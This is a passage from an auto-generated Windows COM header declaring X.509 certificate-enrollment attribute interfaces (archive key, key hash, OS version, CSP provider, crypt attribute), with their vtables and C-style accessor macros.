STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeArchiveKey * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pKey,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCAXCert,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ LONG EncryptionStrength);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyBlob )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509AttributeArchiveKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeArchiveKeyVtbl;\n\n    interface IX509AttributeArchiveKey\n    {\n        CONST_VTBL struct IX509AttributeArchiveKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeArchiveKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeArchiveKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeArchiveKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeArchiveKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeArchiveKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeArchiveKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeArchiveKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeArchiveKey_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKey_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeArchiveKey_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeArchiveKey_InitializeEncode(This,pKey,Encoding,strCAXCert,pAlgorithm,EncryptionStrength)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pKey,Encoding,strCAXCert,pAlgorithm,EncryptionStrength) ) \n\n#define IX509AttributeArchiveKey_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKey_get_EncryptedKeyBlob(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyBlob(This,Encoding,pValue) ) \n\n#define IX509AttributeArchiveKey_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509AttributeArchiveKey_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeArchiveKey_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__\n#define __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__\n\n/* interface IX509AttributeArchiveKeyHash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeArchiveKeyHash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab328-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeArchiveKeyHash : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncodeFromEncryptedKeyBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncryptedKeyBlob) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncryptedKeyHashBlob( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeArchiveKeyHashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeArchiveKeyHash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeArchiveKeyHash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeArchiveKeyHash * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncodeFromEncryptedKeyBlob )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncryptedKeyBlob);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHashBlob )( \n            __RPC__in IX509AttributeArchiveKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeArchiveKeyHashVtbl;\n\n    interface IX509AttributeArchiveKeyHash\n    {\n        CONST_VTBL struct IX509AttributeArchiveKeyHashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeArchiveKeyHash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeArchiveKeyHash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeArchiveKeyHash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeArchiveKeyHash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeArchiveKeyHash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeArchiveKeyHash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeArchiveKeyHash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeArchiveKeyHash_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKeyHash_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeArchiveKeyHash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeArchiveKeyHash_InitializeEncodeFromEncryptedKeyBlob(This,Encoding,strEncryptedKeyBlob)\t\\\n    ( (This)->lpVtbl -> InitializeEncodeFromEncryptedKeyBlob(This,Encoding,strEncryptedKeyBlob) ) \n\n#define IX509AttributeArchiveKeyHash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeArchiveKeyHash_get_EncryptedKeyHashBlob(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHashBlob(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeArchiveKeyHash_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeOSVersion_INTERFACE_DEFINED__\n#define __IX509AttributeOSVersion_INTERFACE_DEFINED__\n\n/* interface IX509AttributeOSVersion */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeOSVersion;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeOSVersion : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in BSTR strOSVersion) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_OSVersion( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeOSVersionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeOSVersion * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeOSVersion * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeOSVersion * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ __RPC__in BSTR strOSVersion);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OSVersion )( \n            __RPC__in IX509AttributeOSVersion * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeOSVersionVtbl;\n\n    interface IX509AttributeOSVersion\n    {\n        CONST_VTBL struct IX509AttributeOSVersionVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeOSVersion_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeOSVersion_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeOSVersion_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeOSVersion_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeOSVersion_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeOSVersion_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeOSVersion_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeOSVersion_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeOSVersion_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeOSVersion_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeOSVersion_InitializeEncode(This,strOSVersion)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,strOSVersion) ) \n\n#define IX509AttributeOSVersion_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeOSVersion_get_OSVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_OSVersion(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeOSVersion_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509AttributeCspProvider_INTERFACE_DEFINED__\n#define __IX509AttributeCspProvider_INTERFACE_DEFINED__\n\n/* interface IX509AttributeCspProvider */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509AttributeCspProvider;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509AttributeCspProvider : public IX509Attribute\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ X509KeySpec KeySpec,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strSignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Signature( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509AttributeCspProviderVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509AttributeCspProvider * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509AttributeCspProvider * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509AttributeCspProvider * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strSignature);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509AttributeCspProvider * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509AttributeCspProviderVtbl;\n\n    interface IX509AttributeCspProvider\n    {\n        CONST_VTBL struct IX509AttributeCspProviderVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509AttributeCspProvider_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509AttributeCspProvider_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509AttributeCspProvider_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509AttributeCspProvider_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509AttributeCspProvider_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509AttributeCspProvider_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509AttributeCspProvider_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509AttributeCspProvider_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509AttributeCspProvider_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509AttributeCspProvider_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509AttributeCspProvider_InitializeEncode(This,KeySpec,strProviderName,Encoding,strSignature)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,KeySpec,strProviderName,Encoding,strSignature) ) \n\n#define IX509AttributeCspProvider_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509AttributeCspProvider_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509AttributeCspProvider_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509AttributeCspProvider_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509AttributeCspProvider_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICryptAttribute_INTERFACE_DEFINED__\n#define __ICryptAttribute_INTERFACE_DEFINED__\n\n/* interface ICryptAttribute */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICryptAttribute;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab32c-217d-11da-b2a4-000e7bbb2b09\")\n    ICryptAttribute : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromValues( \n            /* [in] */ __RPC__in_opt IX509Attributes *pAttributes) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Values( \n            /* [retval][out] */ __RPC__deref_out_opt IX509Attributes **ppValue) = 0;\n        \n    };\n    \n#else \t/* C style interface 